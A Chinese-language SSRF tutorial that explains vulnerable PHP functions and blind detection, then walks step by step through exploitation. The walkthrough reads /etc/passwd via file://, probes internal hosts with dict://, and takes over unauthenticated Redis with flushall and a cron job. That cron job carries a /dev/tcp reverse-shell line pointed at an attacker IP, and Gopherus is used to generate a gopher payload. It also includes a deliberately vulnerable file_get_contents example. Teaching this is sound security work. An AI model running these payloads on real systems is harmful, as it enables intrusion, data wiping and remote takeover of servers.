一.服务器端请求伪造漏洞基础
1.客户端请求
客户端请求指的是由客户端设备(如个人计算机、智能手机、平板电脑等)或软件(浏览器、各种APP)发出的请求,以获取指定的网页、图片、视频或其他资源。比如当用户在浏览器中输入URL或点击链接时,浏览器会自动发起HTTP请求,请求服务器返回指定的资源。
2.服务器端请求
服务器上的应用程序或服务会提供一些功能接口,比如API接口,用于与其他服务进行数据交互。这些由服务器向其他的服务器发起的请求称之为服务器端请求。
3.服务器端请求伪造
服务器端请求伪造(Server-side Request Forgery)简称SSRF,是指攻击者通过伪造服务器端请求,从而使服务器发起对第三方系统的攻击或访问。攻击者通常会使用受害者服务器上的应用程序作为代理来发起请求,以使请求看起来像是由服务器发起的。
4.漏洞危害
- 窃取数据:攻击者可以伪造请求以访问服务器内部网络或云环境中的其他服务或资源,以窃取敏感数据。
- 攻击第三方系统:攻击者可以伪造请求以攻击第三方系统,例如访问其他组织的敏感数据或执行拒绝
服务攻击。 - 内部端口扫描:攻击者可以伪造请求以扫描服务器内部端口和服务,以寻找其他可能的漏洞。
- 获取指纹信息:通过获取 web 应用可达服务器服务的指纹信息。
5.漏洞函数
PHP相关函数:这些函数用于发出HTTP请求,包括常见的函数如curl_exec() 、file_get_contents()、fsockopen()。如果这些函数允许从用户输入中获取URL,但未正确验证和过滤用户输入,攻击者可以通过在URL中注入恶意代码来触发SSRF漏洞。
JAVA:仅支持 HTTP/HTTPS 协议的类:HttpClient 类、HttpURLConnection 类、 OkHttp 类、 Request
类,支持 sun.net.www.protocol 所有协议的类:URLConnection 类、URL 类、ImageIO 类
PHP漏洞相关函数
-
curl_exec
-
格式:curl_exec(resource $ch)
- $ch:由 curl_init() 返回的 cURL 句柄。
- 返回值:如果成功,返回 true 或响应内容;如果失败,返回 false。
-
作用:用于执行一个 cURL 会话。
<?php // 初始化 cURL 会话 $ch = curl_init();// 设置请求的 URL curl_setopt($ch, CURLOPT_URL, 'https://www.baidu.com');// 不输出响应内容,而是将其存储在变量中 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);// 忽略 SSL 验证 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);// 执行 cURL 会话 $response = curl_exec($ch);if ($response === false) {// 输出错误信息echo 'Curl 错误: '. curl_error($ch); } else {// 输出响应内容echo $response; }// 关闭 cURL 会话 curl_close($ch); ?>
-
-
file_get_contents
-
格式:file_get_contents($filename,$use_include_path,$context,$offset,$maxlen)
- $filename:要读取的文件名,可以是本地文件的路径,也可以是一个 URL(如果 allow_url_fopen 配置允许)。
- $use_include_path:可选,是否在 include_path 中搜索文件。
- $context:可选,一个有效的上下文资源,可以用来修改流的行为。
- $offset:可选,开始读取的偏移量。
- $maxlen:可选,读取的最大长度。
-
作用:用于将整个文件读入一个字符串中。将整个文件或一个url所指向的文件读入一个字符串中。
<?php // 检查是否通过 POST 方法提交了名为 'url' 的变量 if(isset($_POST['url'])) {// 如果 $_POST['url'] 存在,则使用 file_get_contents 函数读取该 URL 的内容,并将其存储在 $content 变量中$content = file_get_contents($_POST['url']); // 生成一个随机的文件名,文件名由 './images/' 加上 rand() 函数生成的随机数再加上 '.txt' 后缀组成,存储在 $filename 变量中$filename = './images/'.rand().'.txt'; // 将 $content 中的内容写入到 $filename 所指定的文件中file_put_contents($filename,$content); // 输出通过 POST 提交的 URLecho $_POST['url']; // 创建一个 <img> 元素,其 src 属性的值为 $filename,存储在 $img 变量中$img = "<img src=\"".$filename."\"/>"; } // 输出 $img 变量的值,注意:如果 if 条件不满足,$img 可能未被赋值,会导致未定义变量的警告 echo $img; ?>
-
-
fsockopen
-
格式:fsockopen ($hostname, $port, $errno, $errstr, $timeout)
- $hostname:要连接的主机名或 IP 地址。
- $port:要连接的端口号,默认为 -1,需要根据具体协议指定。
- $errno:可选,将存储错误代码。
- $errstr:可选,将存储错误信息。
- $timeout:可选,连接超时时间,默认为 ini_get("default_socket_timeout")。
-
作用:用于打开一个网络或 Unix 套接字连接。
<?php // 使用 fsockopen 函数尝试打开一个到 IP 地址为 170.39.16.134 的主机的 7771 端口的套接字连接 // 同时将可能产生的错误代码存储在 $errno 变量中,错误信息存储在 $errstr 变量中,连接超时时间设置为 30 秒 $fp = fsockopen("170.39.16.134", 7771, $errno, $errstr, 30); // 检查套接字连接是否成功,如果不成功则输出错误信息 if (!$fp) { echo "$errstr ($errno)<br />\n"; } else {// 构建一个 HTTP GET 请求的请求头信息,包括请求方法、请求的主机和连接关闭信息$out = "GET / HTTP/1.1\r\n"; $out.= "Host: 170.39.16.134\r\n"; $out.= "Connection: Close\r\n\r\n"; // 使用 fwrite 函数将构建好的请求信息发送到打开的套接字连接fwrite($fp, $out); // 使用 while 循环,当套接字连接没有到达文件末尾(即数据接收未完成)时,持续接收数据while (!feof($fp)) { // 使用 fgets 函数从套接字中读取最多 128 字节的数据并输出echo fgets($fp, 128); } // 关闭打开的套接字连接,释放资源fclose($fp); } ?>
-
6.判断是否存在
在无回显(Blind)的SSRF攻击中,攻击者无法直接获取目标系统返回的响应,因此需要寻找一种方法来间接地确认攻击是否成功。
-
DNSLog
-
介绍:DNSLog是一种常用的间接确认方法,它通过向一个域名提交请求,然后查看DNS服务器的日志来获取该域名的请求记录,从而确认攻击是否成功。
-
流程:
-
获取带有DNSLog服务地址的URL
-
使目标服务器对该URL进行请求
-
确认目标服务器对该URL进行了请求
-
-
二.服务器端请求伪造漏洞利用
1.读取敏感文件
通过file协议读取敏感文件
- 格式:file://filepath
- 作用:本地文件传输协议,用于访问本地计算机中的文件。
A.读取/etc/passwd
-
介绍:在Linux 中 /etc/passwd文件中每个用户都有一个对应的记录行,它记录了这个用户的一些基本属性。系统管理员经常会接触到这个文件的修改以完成对用户的管理工作。
B.读取/etc/hosts
-
介绍:hosts文件主要作用是定义IP地址和主机名的映射关系,是一个映射IP地址和主机名的规定。可以用文本文件打开!当用户在浏览器中输入一个网址时,系统会首先自动从hosts文件中寻找对应的IP地址,一旦找到,浏览器会立即打开对应网页,如果没有找到,则浏览器会将网址提交DNS服务器进行IP地址解析。简单来说就是负责ip地址与域名快速解析的文件,读取文件可以得到内网所在网段。
2.探测内网服务
通过dict协议探测内网服务
-
格式:dict://
-
作用:dict 协议是一个在线网络字典协议,这个协议是用来架设一个字典服务的。不过用的比较少,所以网上基本没啥资料(包括谷歌上)。在SSRF漏洞利用中,常常用来探测内网的应用信息。
- 当探测到内网网段时,还可以对同C段其它的主机进行探测。
3.攻击内网应用
通过dict协议攻击内网Redis
Redis是一个key-value 存储系统,是跨平台的非关系型数据库。
Redis一般绑定在本地的6379端口上,如果在没有开启认证的情况下,可以导致任意用户利用ssrf漏洞
攻击内网中的未授权Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,如果运行 redis 的用户是 root 用户,
攻击者可以通过写定时任务的方式进行 反弹shell 。
-
测试redis是否存在未授权访问漏洞:dict://ip:6379/info
- 如果执行完出现信息则说明存在未授权访问。
A.定时任务反弹Shell
-
定时任务目录
- Centos:在/var/spool/cron/目录下
- Ubuntu:在 /var/spool/cron/crontabs/ 目录下
-
判断服务器信息(file协议)
- Centos:/etc/redhat-release
- Ubuntu:/etc/lsb-release
-
在攻击主机监听一个端口,用以接收受害主机执行的定时任务所反弹回来的shell
-
执行命令:nc -lvnp 1234
PS:如果你的攻击目标是本地靶场,那攻击机可以使用ubuntu;如果攻击目标是公网服务器,则接收反弹shell的机器也需要是公网服务器。
-
-
在存在漏洞的网站依次执行
#清空数据库(慎用)
dict://127.0.0.1:6379/flushall#设置工作目录
dict://127.0.0.1:6379/config set dir /var/spool/cron/#设置保存的文件名
dict://127.0.0.1:6379/config set dbfilename root#设置变量x,如果你是在本地虚拟机ubuntu监听,则下方的ip也需要修改为ubuntu
dict://127.0.0.1:6379/set x "\n*/2 * * * * bash -i &> /dev/tcp/攻击机ip/1234 0>&1\n"#保存
dict://127.0.0.1:6379/save -
执行完等待接收到反弹回来的shell即可。
通过gopher协议攻击内网应用
gopher 协议是比 http 协议更早出现的协议,现在已经不常用了,但是在 SSRF 漏洞利用中 gopher 可以说是万金油,因为可以使用 gopher 发送各种格式的请求包,可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求,还可以攻击内网未授权MySQL。
gopher协议默认端口70,所以需要指定web端口,而且需要指定方法。数据部分需要进行url编码。回车换行使用%0d%0a
基本协议格式:URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
-
Gopherus的运用
-
项目地址:Gopherus下载地址
-
Gopherus的使用流程
-
执行命令:python gopherus.py --exploit redis
-
选择:ReverseShell(反弹shell)
-
填写攻击机的ip:120.17.57.138
PS:攻击机需监听一个端口,比如监听 7771 端口
-
填写相应服务器的定时任务目录:/var/spool/cron/
-
复制生成的内容:从gopher开始复制,到0A结束。
-
修改复制的内容中的端口信息:默认为1234,修改为7771
-
使服务器对修改完的内容进行请求
-
执行完等待接收到反弹回来的shell即可。
-
-